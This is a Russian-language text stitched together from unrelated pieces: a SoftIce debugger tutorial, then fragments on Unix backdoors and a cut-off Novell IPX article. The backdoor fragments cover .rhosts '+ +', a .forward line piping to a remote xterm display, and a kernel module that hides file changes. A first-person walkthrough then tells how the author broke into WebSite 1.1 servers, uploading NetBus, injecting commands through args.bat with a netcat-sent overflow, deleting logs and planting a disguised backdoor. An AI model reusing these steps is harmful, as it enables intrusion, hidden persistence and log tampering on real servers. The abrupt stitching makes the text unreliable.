Примечание: во всех случаях изменения значений они вступают в силу после того, как вы переключитесь в любое другое окно, до этого можно отменить последнее изменение, нажав Esc.
Установка точек останова на исполнение – подведите курсор к той строке в Code Window, в которой хотите остановиться, и двойным щелчком по левой кнопке мыши поставьте точку останова, строка подсветится.
Удаление из Watch Window переменных – установите курсор на переменную, которую хотите удалить, нажмите левую кнопку мыши, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.
Контекстное меню – по правой кнопке мыши вы попадаете в контекстное меню, в котором вам доступны команды:
Copy – копировать в буфер обмена адрес или данные, находящиеся под курсором.
Paste – вставить в окно команд, адрес или данные находящиеся в буфере обмена
Copy&Paste - копировать в буфер обмена адрес или данные, находящиеся под курсором, и вставить их в окно команд.
Display – вывести в окно данных дамп памяти, расположенный по адресу, над которым в данный момент находиться курсор (Аналог команды D).
Un-Assemble – вывести в Code Window исходный (если есть отладочная информация) или дизассемблированный текст программы, находящийся по адресу, над которым в данный момент находиться курсор (Аналог команды U).
What – идентифицирует значение, находящееся под курсором с заранее определенными (Аналог команды Wath).
Previous – отменяет предыдущую команду, введенную из контекстного меню (работает с командами Display и Un-Assemble).
2.2 Управление с помощью клавиатуры:
Можете делать все то же самое, но будет отсутствовать контекстное меню и буфер обмена.
Изменение размера окна – размер (в строках) непосредственно задается в команде открытия окна, если нужно.
Повторный ввод этих команд без параметров закрывает соответствующие окна, с параметрами – меняет размер.
По умолчанию курсор находиться в окне команд. Переместить курсор в нужное окно можно следующими комбинациями клавиш (если вы находитесь в окне команд (Command Windows)):
Перейти в окно кода (Code Window)Alt-C
Перейти в окно данных (Data Window)Alt-D
Перейти в окно локальных переменных (Locals Window)Alt-L
Перейти в окно регистров (Register Window)Alt-R
Перейти в окно слежения (Watch Window)Alt-W
В окно сопроцессора курсор переместить нельзя.
Повторное нажатие этих клавиш возвратит вас обратно в окно команд (все вышесказанное действительно и для Code Window).
В окне данных переключиться между дампами в HEX и ASCII формате можно с помощью клавиши Tab, с ее же помощью можно переходить между регистрами в окне регистров.
Скроллинг на одну строку – переходите в нужное окно и клавишами управления курсор вверх и курсор вниз скроллируете окно.
Скроллинг на экран - переходите в нужное окно и клавишами PageUp и PageDown скроллируете окно.
Примечание: Code и Data Window можно скроллировать и не переключаясь в них из окна команд, для этого нужно кроме управляющих клавиш удерживать еще Alt для Data Window и Ctrl для Code Window.
Изменение значений регистров – перейдите в окно регистров, подведите курсор к тому регистру, значение которого хотите изменить и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте, нажатие Enter подтверждает изменение, Esc отменяет.
Изменение значений флагов – перейдите в окно регистров, подведите курсор к тому флагу, который хотите изменить. После чего, клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая - установлен), Enter можно не нажимать.
Изменение значений ячеек памяти – перейдите в окно данных, подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте. Нажатие Enter или переход к следующему числу подтверждает изменение, Esc отменяет.
Установка точек останова на исполнение – в окне команд наберите команду BPX и введите адрес строки, на которой хотите остановиться.
Удаление из Watch Window переменных – перейдите в Watch Window, установите курсор на переменную, которую хотите удалить, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.
После небольшой лекции по управлению SoftIce можно заняться и собственно отладкой.
Так как мы отлаживаем программу, написанную на языке высокого уровня и с отладочной информацией, то можем отключить окно регистров и окно данных, и включить Locals Window, что бы видеть какие параметры передаются в процедуры (т.е. WD,WR,WL при условии, что пользовались настройками приведенными выше).
Что бы посмотреть какие из исходных текстов программы были загружены - дайте команду FILE *.
На экране в окне команд вы увидите имена файлов содержащих исходные тексты программы GdiDemo: Bounce.c, Wininfo.c, Poly.c, Maze.c, Init.c, Draw.c, Dialog.c, Xform.c, Gdidemo.c. Так как окно команд обычно небольшое, то вы увидите несколько первых имен файлов. В строке помощи будет присутствовать надпись "Press any key to continue; Esc to cancel", вы можете с помощью клавиши Enter. Получить следующую строку с именем файла, или, нажав на пробел, получить следующую порцию строк с именами файлов (действительно для всех сообщений выводимых в окне команд).
Если в процессе изучения листинга программы вы забрались слишком далеко от текущего значения EIP, то вернутся можно командой:
:U EIP – дизасемблировать программу начина с текущего EIP адреса, либо командой;
:. (точка) – переместиться к текущей исполняемой инструкции.
3. Трассировка программы.
Воспользуйтесь командой T (trace) для того чтобы оттрассировать одну команду, или клавишей F8, которая закреплена по умолчанию за командой T. Произойдет выполнение команды находящейся в текущей строке и курсор перейдет на следующую строку и подсветит ее. Это строка:
LpszLine=LpszLine;
Еще раз нажмите F8, курсор передвинется на следующую строку:
if(!hPrevInst).
В Code Window вы видите исходный текст программы (source mode). Если вы хотите посмотреть дизассемблированный (code mode) текст программы или исходный и дизассемблированный (mixed mode) текст вместе, воспользуйтесь командой SRC или клавишей F3 закрепленной за этой командой. При первом нажатии вы увидите смешанный (исходный текст программы и ассемблерные инструкции, из которых состоит эта строка) текст, при втором нажатии дизассемблированный, третье нажатие вернет вас в режим просмотра исходного текста программы.
Нажмите еще раз F8 и вы перейдете к строке
if(!RegisterAppClass(hInst));
Для того, чтобы отлаживать программу, вы пользуетесь командой Т, которая исполняет один оператор исходной программы или одну машинную команду.
Еще существует команда P или клавиша F10, которая выполняет один шаг в программе, т.е. при трассировке какой-либо функции или прерывания вы не получите управления до тех пор, пока выполнение функции не завершится, и вы не вернетесь из функции обратно. Команду P удобно применять в том случае, когда вы отлаживаете основной алгоритм и отвлекаться на трассировку каждой процедуры нерационально.
Примечание: Командой T нельзя оттрассировать системные вызовы (WIN32 API calls) находясь в source mode, для их трассировки нужно перейти в mixed или code mode.
4. Просмотр локальных переменных.
Окно Locals Window показывает текущий кадр стека. В нашем случае он содержит локальные переменные для функции WinMain.
Командой T войдите в функцию RegisterAppClass, окно Locals Window станет пустым, так как для этой функции еще не определены локальные переменные. Функция RegisterAppClass находится в файле INIT.C. SoftIce показывает текущий файл в левом верхнем углу Code Window
Введите команду T снова, окно Locals Window будет содержать параметр переданный функции RegisterAppClass (hInstance) и локальную структуру wndClass. Перед структурой стоит знак плюс, который означает что внутри находятся переменные, которые можно посмотреть (так же можно смотреть строковые переменные и массивы). Если у вас Pentium и вы пользуетесь мышкой, то посмотреть структуру можно два раза щелкнув по ней мышкой, знак + сменится на – и вы увидите переменные из которых состоит структура. Закрыть структуру можно так же (двойным щелчком мыши). Если вы пользуетесь клавиатурой то последовательность действий такова: жмем Alt-L для перехода в Locals Window, затем курсорными клавишами подводим светящуюся полоску к структуре, которую хотим посмотреть и нажимаем Enter. Если требуется закрыть ее, то нажимаем Enter еще раз.
5. Установка точек останова на выполнение.
Точки останова на выполнение делятся на два вида: просто точки останова и однократные точки останова.
Однократные точки останова:
Перейдите в Code Window, используя клавишу PgDn переместите курсор на строку с номером 61 (тоже самое можно сделать используя команду U .61), в этой строке находиться первый вызов функции Win32 API RegisterClass. Используя команду HERE (клавиша F7) выполните программу до этой строки.
Команда HERE устанавливает точку останова в программе на адрес или строку на которой находиться курсор и выполняет программу с текущего адреса до адреса на котором находиться курсор, т.е. до тех пор пока не сработает точка останова, после срабатывания SoftIce автоматически отключит эту точку останова, что бы она больше не срабатывала.
Текущей строкой в отлаживаемой программе стала строка:
If(!RegisterClass(&wndClass))
Примечание: того же самого результата можно было добиться если бы вы дали команду G .61 (исполнять программу до строки 61).
Обычные точки останова.
Следующие шаги демонстрируют использование обычных точек останова, т.е. таких которые будут срабатывать до тех пор пока вы их не отмените. Найдите следующий вызов функции RegisterClass, находящийся в строке 74. Установите курсор на эту строку и введите команду BPX (BreakPoint eXecutable) или клавишу F9 (по этой команде, в память на место команды расположенной под курсором записывается команда INT3, но вы этого не видите :-)). Строка должна подсветиться (если вы находитесь в code mode, то после команды BPX необходимо указать адрес строки на которую хотите поставить точку останова). Снять точку останова можно повторным вводом этой же команды. Если вы счастливый обладатель процессора Pentium, то процесс установки и снятия точки останова сводится к двойному щелчку левой кнопкой на той команде, где хотите поставить точку останова. После установки точки останова запустите программу командой G или X (клавиша F5). Когда программа исполнит инструкцию INT3, она передаст управление SoftIce, после чего он появиться перед вами.
Посмотреть информацию об установленных точках останова можно командой BL (BreakPoint List):
:BL
00) BPX #0137:00402442 (адрес может быть другим).
Видим что установлена одна точка останова на исполнение по адресу 00402442, с порядковым номером 0. По этому адресу находиться команда, расположенная в текущем файле INIT.C в строке 74. Вы можете использовать вычисление выражений, для того чтобы получить адрес строки по ее номеру:
:? .74
void * = 0x00402442
Так как дальнейшая пошаговая трассировка функции RegisterAppClass не имеет для нас смысла, вернемся в то место, откуда эта функция вызывалась. Для этого существует команда P с параметром RET (клавиша F12). Она позволяет выполнять программу до тех пор пока не встретит команду RET (RETF), исполнив эту команду SoftIce выйдет из подпрограммы и остановиться на строке следующей за вызовом этой подпрограммы. Применительно к нашей программе: функция RegisterAppClass вызывается из функции WinMain, SoftIce остановиться в функции WinMain на строке следующей за вызовом функции RegisterAppClass, т.е. подсвечена будет строка:
Msg.wParam = 1;
Воспользуйтесь командой BC (Breakpoint Clear) с номером точки останова, который вы посмотрели с помощью команды BL, для того, что бы убрать именно эту точку останова, или вместо номера введите *, тогда вы уберете все точки останова (можно вводить номера точек останова через запятую, если хотите убрать несколько точек).
6. Использование информационных команд.
SoftIce имеет в своем распоряжении много разных команд, с помощью которых можно узнать состояние и получить иную информацию об операционной системе и запущенных в ней приложениях. Мы рассмотрим только две команды: H (Help) и CLASS. Эти команды выводят достаточно много информации в окне команд (Command Window), поэтому желательно увеличить размер этого окна, для этого закроем окно локальных переменных (Locals Window).
По команда H можно получить помощь по всем командам SoftIce или более подробную информацию о конкретной команде, если введете ее имя в качестве аргумента команды H:
:H CLASS
Display window class information
CLASS [-x] [task-name]
Ex: CLASS USER
Первая строка дает описание команды, вторая показывает информацию о синтаксисе и аргументах, которые могут использоваться в команде, третья строка содержит пример использования команды.
Целью выполнения функции RegisterAppClass является регистрация шаблона для классов окон, которые будут использованы приложением GdiDemo для создания окон. Используя команду CLASS можно посмотреть зарегистрированные классы для GdiDemo:
:CLASS GDIDEMO
Результатом выполнения данной команды является информация о каждом зарегистрированном классе окна. Информация включает в себя: имя класса, адрес внутренней структуры данных WNDCLASS, модуль который зарегистрировал данный класс, адрес процедуры, которая обслуживает данный класс и состояние флагов стиля класса. Для получения подробной информации воспользуйтесь ключом –X.
Handle
Class Name
Owner
WndwProc
Styles
5110
BOUNCEDEMO
GDIDEMO
2E9F:00000114
03000003
40AC
DRAWDEMO
GDIDEMO
2E9F:000000FE
03000003
409C
MAZEDEMO
GDIDEMO
2E9F:000000E8
03000003
3BC4
XFORMDEMO
GDIDEMO
2E9F:000000D2
03000003
3BB4
POLYDEMO
GDIDEMO
2E9F:000000BC
03000003
3A00
GDIDEMO
GDIDEMO
2E9F:000000A6
03000003
7. Символьные имена.
Когда вы загружаете приложение с отладочной информацией, SoftIce автоматически создает таблицу символьных имен которая содержит все имена, определенные в данном приложении. Используя команду TABLE можно посмотреть какие таблицы символьных имен загружены в настоящий момент:
:TABLE
GDIDEMO [NM32]
0001044741 Bytes Of Symbol Memory Available
Используемая в данный момент таблица символьных имен выделена цветом. Если текущая таблица символьных имен не соответствует той на которую ссылается ваше приложение, то используя команду TABLE с именем вашего приложения в качестве аргумента, вы подключите нужную таблицу (если для вашего приложения создана таблица):
:TABLE GDIDEMO
Используя команду SYM вы можете посмотреть все символьные имена, определенные в текущей таблице (на экран выводятся по сегментам, внутри них в алфавитном порядке).
Если интересует какие- то определенные имена, то используйте шаблоны:
:SYM w*
.text
(0137:00401000
, 000145C1 bytes)
0137:004012E0
WinMain
0137:00405700
WinMainCRTStartup
0137:004013AD
WndProc
0137:0040AF50
wcslen
0137:0040C160
wcsncnt
0137:004107A0
wctomb
0137:0040FA50
write_char
0137:0040FAD0
write_multi_char
0137:0040FB20
write_string
На экране список всех символьных имен, начинающихся с буквы w, все они расположены в сегменте .text (выполняемый сегмент, он начинается с адреса 0137:00401000 и имеет длину 0145C1H байт), т.е. эти имена – имена функций и процедур входящие в приложение GDIDEMO. Данные находятся в сегментах .data, .rdata, .idata.
8. Условные точки останова.
Одним из символов, определенных в приложении GDIDEMO, является функция LockWindowInfo. Назначение этой функции – возвращение адреса переменных, которые определяют свойства окна. Для того, чтобы ознакомиться с условными точками останова и точками останова на доступ к памяти, мы выполним следующие действий:
Установим точку останова на функцию LockWindowInfo
Отредактируем поставленную точку останова таким образом, чтобы она срабатывала по определенному нами условию.
Установим точку останова на доступ к ячейки памяти, для того чтобы отследить обращения к этой ячейке.
Установка точки останова на функцию LockWindowInfo.
Командой BPX LockWindowInfo поставим точку останова на выполнение на эту функцию. Каждый раз, когда в одном из окон приложения GDIDEMO нужно будет обновить информацию, программой будет вызываться функция LockWindowInfo, так как на эту функцию поставлена точка останова, то будет вызываться SoftIce. Командой BL проверьте, установилась ли точка останова. Запустите приложение командой X или G. Как только будет вызвана функция LockWindowInfo, SoftIce всплывет. Так как обновление происходит постоянно, то постоянно вызывается и SoftIce, что очень неудобно, если нас интересует обновление какого-либо конкретного окна. Чтобы перехватить вызов на обновление конкретного окна, к примеру, POLYDEMO, воспользуемся условной точкой останова.
Из исходного текста программы (файл wininfo.c) видно, что функция LockWindowInfo получает в качестве входного аргумента один параметр HWND (Handle Window) – дескриптор окна, и возвращает в вызывающую функцию одно значение – указатель на переменные для данного окна. То есть если бы мы заставили срабатывать точку останова только на обработчик окна POLYDEMO, мы бы добились своей цели. Для начала нам необходимо узнать дескриптор нашего окна, для этого воспользуемся командой:
:HWND GDIDEMO
WindowHandle
hQueue
SZ
Qowner
ClassName
WindowProcedure
0724(1)
10FF
32
GDIDEMO
GDIDEMO
365F:000001C4
0728(2)
10FF
32
GDIDEMO
MdiClient
17A7:00001988
0734(3)
10FF
32
GDIDEMO
BOUNCEDEMO
365F:00000232
0730(3)
10FF
32
GDIDEMO
POLYDEMO
365F:000001DA
072C(3)
10FF
32
GDIDEMO
DRAWDEMO
365F:0000021c
дескриптор окна POLYDEMO имеет значение 0730, если в списке вы не увидели нужного окна, то запустите приложение клавишей X или G, опять сработает точка останова, проверьте, создалось ли окно, если нет, то повторите последние действия. Теперь можно останавливать исполнение программы только в том случае, когда в качестве параметра для функции LockWindowInfo используется значение 0730. В Windows параметры для функции обычно передаются через стек. При остановке в функции LockWindowInfo стек будет выглядеть следующим образом (посмотреть содержимое стека можно подведя курсор к регистру ESP, нажав правую кнопку мыши вызвать контекстное меню и выбрать команду Display, неплохо бы еще сменить командой DD формат вывода данных в DataWindow на показ двойных слов, так как наше приложение 32-разрядное):
ESP = 0055FC00
013F:0055FC00 00404852 00000730 0055FC3C 00008CAA
число 00404852 – это адрес, на который программа перейдет после завершения работы нашей функции (адрес возврата);
число 00000730 – это дескриптор окна POLYDEMO (собственно то, что нас интересует);
Теперь зная, где и что у нас передается в функцию, мы можем выставить условную точку останова.
Для этого вызовем на редактирование точку останова, поставленную на функции LockWindowInfo:
:BPE 0
в нижней строке командного окна появиться строка:
:BPX LockWindowInfo
и курсор установиться в конце строки, теперь можете редактировать точку останова по своему усмотрению, в конце строки добавьте следующее условие: IF ESP->4 == 00000730 и нажмите Enter.
Точка останова теперь будет выглядеть так:
:BPX LockWindowInfo IF ESP->4 == 00000730
То есть она будет срабатывать тогда, когда двойное слово по адресу ESP+4 будет равным числу 00000730, которое соответствует дескриптору окна POLYDEMO. Проверьте командой BL, соответствует ли точка останова заданной, запускайте приложение и убедитесь, что вся эта конструкция замечательно работает.
Установим точку останова на доступ к первому двойному слову данных экземпляра окна POLYWINDOW. Как уже отмечалось выше, входным аргументом для функции LockWindowInfo является дескриптор окна, выходным адрес данных экземпляра окна. После срабатывания точки останова поставленной на функции LockWindowInfo с параметром соответствующим дескриптору окна POLYWINDOW, на выходе функции будем иметь адрес данных экземпляра окна POLYWINDOW, по этому адресу и поставим точку останова на доступ к памяти.
Для того чтобы получить адрес данных экземпляра окна, выполним программу до строки с номером 57 (в файле WININFO.C):
:G .57
функция возвращает 32-битное значение (в нашем случае адрес) в регистре EAX, поэтому можно используя команду BPMD (BreakPoint Memory Dword) и значение адреса в регистре EAX, поставить точку останова на доступ к первом слову данных экземляра окна POLYDEMO:
:BPMD EAX
Эта команда использует регистры аппаратной отладки встроенные в процессор для отслеживания чтения и записи двойного слова по указанному линейному адресу. В данном случае это первое слово данных экземпляра окна POLYDEMO. Используйте команду BL что бы проверить правильность установки точки останова.
:BL
00) BPX LOCKWINDOWINFO IF ((ESP->4)==0x00000730)
01) BPMD #015F:0052006C RW DR3
Точка останова с номером 0 установлена на исполнение функции LockWindowInfo и точка останова с номером 1 стоит на доступ к памяти по адресу #015F:0052006C.
Отключите 0 точку останова командой BD (Breakpoint Disable):
:BD 0
В отличие от команды BC, которая удаляет точку останова, команда BD временно отключает точку, т.е. она не будет срабатывать, но ее в любой момент можно включить обратно командой BE (Breakpoint Enable). Отключенные точки останова выделяются звездочками рядом с порядковым номером точки останова.
:BL
00) * BPX LOCKWINDOWINFO IF ((ESP->4)==0x00000730)
01) BPMD #015F:0052006C RW DR3
Запустите SoftIce командами X или G, когда окно POLYDEMO попытается получить доступ к первому двойному слову экземпляра данных окна, сработает точка останова и SoftIce всплывет, это будет происходить в функциях PolyRedraw и PolyDrawBez. Эти функции обращаются к полю nBezTotal, которое находиться по нулевому смещению в данных экземпляра окна POLYDEMO. Значение этого поля задает количество кривых одновременно выводимых в окно POLYDEMO.
Примечание: Из-за особенностей архитектуры процессоров Intel перехват обращения к ячейки памяти произойдет после исполнения команды обращающейся к памяти, т.е. SoftIce осановиться на следующей команде.
Сбросьте все точки останова командой BC * и выйдете из SoftIce.
Эпилог
Если вы добрались до этих строк – значит вы отладили свою первую программу с помощью замечательного отладчика SOFTICE. Но возможности SoftIce не ограничиваются теми, которые мы здесь вкратце рассмотрели, они гораздо больше.
Замеченные ошибки в версии 3.24:
При отладке программы в Code Window неправильно дизассемблируются команды перехода ( JXX SHORT), т.е. стрелочка показывает направление перехода правильно, а в мнемонике он на 100H больше (или меньше – не помню).
Автор выражает огромную благодарность всем тем, кто помогал в написании данного опуса : моей любимое девушке Наденьке; Эрнесту Полетаеву – за приведение в божеский вид того, что я написал и за подробные консультации; Михайлову Антону и Махонину Юре – за идею и возможность осуществления оной; Диме Петрасу – за то что он мой фидошный босс; и всем тем кого здесь нету :-))).
Специально оставленные программы.
В системе могут быть оcтавлены файлы, такие как passwd крекеры, exploits для suid программ, etc. На не пропатченной системе с помощью exploitов могут быть получены root привелегии за счет выполнения кода в стеке программ имеющих sticky-bit.
Уделяя основное внимание защите
ПОДДЕЛКА АДРЕСОВ ГОЛЛАНДСКАЯ АТАКА АТАКА ПО-РУССКИ ПОДПИСЬ ПАКЕТОВ ДРУГИЕ АСПЕКТЫ БЕЗОПАСНОСТИ
В предыдущих номерах LAN уже печатались материалы, посвященные системе безопасности сети Novell NetWare. В данной статье хотелось бы рассказать о некоторых аспектах ее защиты на сетевом уровне, об ее достоинствах и недостатках.
Как правило, сеть NetWare базируется на протоколе IPX (в принципе использование IP возможно, но нами этот вариант рассматриваться не будет).
Протокол IPX был разработан фирмой Xerox, а затем доработан компанией Novell. IPX предназначен для применения в локальных сетях. Предполагается, что вся сеть разделена на логические сегменты, и все они получают уникальный номер. Адрес (идентификатор) рабочей станции в IPX-пакете совпадает с уникальным для каждой сетевой платы номером (MAC-адресом). Структура заголовка IPX-пакета изображена на Рисунке 1.
Рисунок 1.
Структура заголовка пакета IPX.
Введение доверенных отношений
~user/.rhosts, /etc/host.equiv, ~user/.shosts (при установленном SSH) Эти файлы создают доверенные отношения в сети. К ним обращаются демоны in.rlogind, in.rshd, sshd, etc. В файлах оговорены пары компьютер-пользователь которые могут входить в систему минуя схему аутенфикации. Пара '+ +' позволяет вход любого пользователя с любого компьютера без пароля. Наличие файла /.rhosts {+ +} предоставляет возможность войди в систему как root или smtp (uid=0, gid=0). Ограничение на вход пользователя root только с консоли не запрещает удаленный вход пользователя smtp, a /usr/bin/.rhosts дает вход для пользователя 'bin' ~user/.forward в этом файле хранится информация для перенаправления почты. Он может выглядеть например так: \user |"/usr/openwin/bin/xterm -display another.host.net:0"
Введение модулей в ядро.
Модули могут перехватывать системные вызовы обращения к файлам, получения информации о системе и сознательно искажать получаемую информацию. Например, при открытии файла "/etc/inetd.conf" будет происходить открытие резервной копии этого файла спрятанной в системе. Таким образом скрывается изменение системных файлов. SYS_open: SYS_open Solaris 2.6 ... static char new_path = "/var/tmp/.locks/.idx/inetd.conf"; int my_open(char *fname, int fmode, int cmode) { int rval;
rval = bcmp(fname, "/etc/inetd.conf", 16); if( rval) { return(copen(fname, (int)(fmode-FOPEN), cmode)); } else { return(copen(new_path, (int)(fmode-FOPEN), cmode)); } } ...
Website
Взлом WWW-сервера на основе WebSite v1.1x Начало.
Как-то на HackZone я встретил заметочку о том, что взломан web-сервер фирмы IdSoftware с помощью стандартных примеров скриптов, идущих в поставке с WebSite'ом, - args.bat и uploader.exe. А так как в нашем университете довольно много www серверов на основе WebSite (ну если штук 5-6 это много), то я решил вплотную занятся ими :)
Итак, взлом осуществляется через стандартные примеры, идущие в поставке с web-сервером, а так как люди еще не сильно задумываются о защите своего сайта, считая это не очень большой проблемой, и часто оставляют все на Авось, то просто ставят WebSite, ничего не предпринимая для его настройки и обеспечения достаточной защиты. Все пять найденных мной сайтов под управлением WebSite v1.1 имели лазейку, описанную ниже, которая обеспечивала почти полный доступ к машине, на которой они находились, в том числе и мой :) Необходимое.
Как у нас ставят WebSite? Просто давят кнопку Install, и потом прога говорит, что web-сервер поставлен. Люди находят, где находится корень web-сайта, закачивают туда свою информацию, и все так и живет, пока не наступает время дельта Тэ (с) Zeus. Что же появляется в таком состоянии? По умолчанию отображается (мапится, mapping) куча ненужных для работы сервера каталогов /java/, /publish/, /wsdocs/, /cgi-dos/, /cgi-win/. Конечно, в какой-то момент времени они, возможно, и понадобятся, но вначале они просто не нужны. Это с одной стороны, с другой стороны создателям WebSite со всех сторон нужно показать возможности этого сервера, что они с успехом и делают, открывая потециальные дырки в защите web сайта и заполняя эти каталоги разнообразными примерами, так радующими глаз потенциального взломщика.
Сперва я поставил себе на машину WebSite v1.1f в дефолтовой конфигурации и приступил к исследованию его на дырки.
Задача перед нами стоит такая: закачать на ломаемый сервер какое-нибудь средство удаленного администрирования и управления типа ВО или NetBus и запустить его (я использовал по-быстрому найденный в нашей локалке NetBus v1.6 с именем файла серверной части Patch.exe).
Этап закачки для нас не представлял никакого интереса т.к. по умолчанию WebSite позволяет удаленно запустить /cgi-win/uploader.exe и закачать кому угодно что угодно. В принципе, так даже можно положить эту самую НТ: закачивать туда всякой фигни, пока место на диске не кончится. Скорей всего, тут ей кранты и придут - это если WebSite стоит на том же диске, где стоит система или валяется своп-файл (но я в этих вопросах не сильно силен, пусть меня поправят более знающие люди, да и речь сейчас не об этом).
Вторым этапом является выяснение месторасположения каталога с WebSite'ом. Это делается тоже отчень легко, просто удаленно запускаем файл /cgi-dos/ args.bat, на что нам в ответ приходит сообщение типа
Empty output from CGI program D:/WebSite/cgi-dos/args.bat
, что однозначно определяет каталог с WebSite'ом. Тогда отображаемый каталог /cgi-dos/ будет находится в каталоге D:/WebSite/cgi-dos/, а путь к файлу Patch.exe, который мы закачиваем будет D:/WebSite/UploadS/Patch.exe
Итак, момент к которому мы подошли - это исследование на предмет возможности запуска файла, который мы закачали. Почитывая разные статьи по этому поводу, например, выяснилось, что у web-сервера Apache есть уязвимость на счет тестовых скриптов /cgi-bin/test-cgi и /cgi-bin/nph-test-cgi, которые аналогичны присутствующему в WebSite примеру Args.bat. Эта уязвимость заключается в том, что возможна распечатка передаваемой строки в таком виде, в каком она присутствует, и это обычно делается строчкой скрипта
echo QUERY_STRING = $QUERY_STRING
т.е. если мы передаем строчку типа "> 1.bat", то по логике вещей строчка "QUERY_STRING =" будет перенаправлена в файл 1.bat, путь к этому файлу мы могли бы указать на каталог /cgi-bin/, он бы туда записался, и далее уже удаленно мы могли бы его запустить из этого каталога. В args.bat находится строчка
echo QUERY_STRING="%QUERY_STRING%" >> %of%
т.е. кто не слеп и видит, что строчка, передаваемая нами заключена в кавычки, и все, что мы надумали, просто-напросто обламывается.
Обламывается- то обламывается, но все дело в том, что мы можем засылать специальные непечатные символы типа CR (код 0dh), LF( код 0ah). Улавливаете? :) Появление таких символов в командной строке приведет к переводу строки в скрипте и вполне возможно, что следущей строчкой вдруг ни с того ни с сего окажется наш файл лежащий в каталоге /uploads/ . Уф, такие мысли просто будоражат кровь! :)
Так, сейчас мы ее маленько остудим, рассмотрев немного теории, поясняющей как запускаются .bat скрипты на web сервере на основе WebSite. :)
При обработке bat-скрипта во временном каталоге WebSite /cgi-temp/ создаются 4 файла xxxxx.acc, xxxxx.bat, xxxxx.inp, xxxxx.out. Нам в глаза сразу бросается файл xxxxx.bat. Так, при удаленном запуске /cgi-dos/args.bat получается такой файл xxxxx.bat:
Видите, как нехорошо поступил WebSite - перед символом перенаправления ">" поставил какую-то гадость "^", от которой всякое перенаправление перестает быть перенаправлением. Если немного помучится, то можно выяснить, что эта фигня ставится перед символами >,
Как я уже писал выше, мы можем в командную строку вставлять спецсимволы, делается это так %0a. "%" - символ, говорящий о том, что следующие за ним два символа являются шестнадцатиричным представлением передаваемого в командной строке символа.
Запускаем /cgi-dos/args.bat?%0d%0aafrica.bat.
Получаем xxxxx.out:
@ECHO OFF&&TITLE WebSite CGI
D:\PROGRA~1\WebSite\cgi-dos\args.bat
africa.bat D:\WebSite\cgi-temp\xxxxx.out
Вот тут я подумал что они попали :), но жестоко обманулся! :( По моим мыслям, сначала управление передастся их батчику, а потом моему исполняемому файлу, который я закачал в /uploads/. Меня жестоко обманули, управление, переданное файлу args.bat, там и оставалось. Моему файлу africa.bat оставалось лишь смотреть, как управление было всего в одной строчке сверху его! :)
Cнова думаем! Вернемся к перенаправлению, если забивать много много перенаправлений типа ">", то вполне возможно, что в какой-то момент времени на каждый значок ">" не хватит значка "^", так как вполне возможно, что буфер у WebSite не резиновый. :) Стандартными средствами тут я уже обходится не мог, так как не мог ввести слишком много значков в строке адреса Internet Explorer'a, поэтому пришлось воспользоваться программой NetCat v1.10 for NT, ох и рульная же это вещица, при всем при том, что о большинстве функций я вообще не знаю, для чего они нужны. В моем случае она просто брала из файла запрос и отсылала его серверу.
nc.exe -v ИмяЛомаемогоСервера 80
Zapros.txt:
GET /cgi-dos/args.bat?>>>>>>>>>>....>>>africa.bat
Вот такой файл, где значков ">" около 700 штук после запуска NetCat'a с такими параметрами у меня повесил WebSite :) Хорошенькая нашлась фича, и, главное, обнаружилась фича, что если число значков равно 512, то вместо строк в темповом батчике xxxxx.bat
Классное переполнение буфера получилось!!!!! Затем я после africa.bat поставил символы перевода строки 0dh,0ah (%0d%0a) и africa.bat поменял на regedit.exe, запустил NetCat, и что бы вы думали, у меня получилось? :) Угу, запустился regedit!!!!
Я еще немного потренировался, и выяснилось, что она не хочет, или не желает пускать програмки с длинными именами и с длинными путями к ним. Хорошо, что Website, где я его встречал, стоит прямо в корне, и доступ к каталогу /uploads/ получаем без проблем. И еще хорошо, что я начал с символа ">", если подставлять другие нормальные символы типа буковок или циферок, то WebSite на это никак не реагирует, просто не принимает их, если их довольно большое количество, и выдает ошибку, если они все поместились в буфер.
Ну, вот так я запустил на другой машинке NetBus, и дальше уже дело техники (почти).
Выкачиваем все нужное с Хакнутой машины. Закачиваем в каталог /cgi-shl/ с помощью NetBus'а еще одну копию серверной части этого самого NetBus'a под каким-нибудь дурацким именем. Я, например, закачиваю под именем win-c-example.exe т.к. он в этом каталоге уже есть, только соответственно старый файл нужно убить. Убиваем логи сервера access.log, error.log, upload.log. Вы думаете их просто убить? =) Фиг там, WebSite держит их открытыми, тут-то нам и пригодится умение ронять WebSite обнаруженный в начале нашего исследования. т.е. роняем WebSite, и только затем удаляем все логи. Нехорошо, если после нас в каталоге /uploads/ останется бяка в виде серверной части NetBus'a, ее нужно убить, но увы, она держится системой открытой поэтому мы просто перезагружаем всю машинку с WebSite'ом, перед этим сказав NetBus'у "Remove Server". Вот эта часть плана у меня не очень чисто проходила, в NetBuse я использовал и Reboot и Shutdown, и все равно удаленный сервер сам по себе не поднимался, не знаю почему, а пробовать на своей машине было влом. Тем не менее когда-нибудь ту машинку поднимали, считая что Винда это Сакс, и он сам может из-за пылинки вылететь в даун. Когда сервер снова поднялся, быстренько из /cgi-shl/ запускаем снова Netbus и чистим /uploads/ (Позже я выяснил, что NetBus копирует себя в системный каталог операционнки, и оттуда загружается в следующий раз, поэтому описанные действия немного неточны, и необходимо просто перезагрузить сервер)
Фу! Ну вот и все, дальше все ясненько, можно ломать дальше, отслеживая пароль Administrator'a т.к. обычно на тех тачках, где весит WebSite, находится и PDC (Primary Domain Controler). Можно, балуясь NetBus'ом, создать ситуацию, когда Administrator будет вынужден подойти к своему детищу и набрать заветное слово, которое нам и покажет Netbus :) Короче, все остальное лирика.
Был произведен "дружественный взлом" двух серверов, выкачана с них нужная информация, ну и затем сообщено о существующей дырке. В WebSite v2.xxx эта дыра закрыта, так как отсутствует каталог /cgi-dos, но присутствуют другие файлы типа guestbook, которая позволяет писать тэги, плюс присутствуют сырцы этих файлов, что меня очень радует и дает возможность заниматься таким интересным делом! :)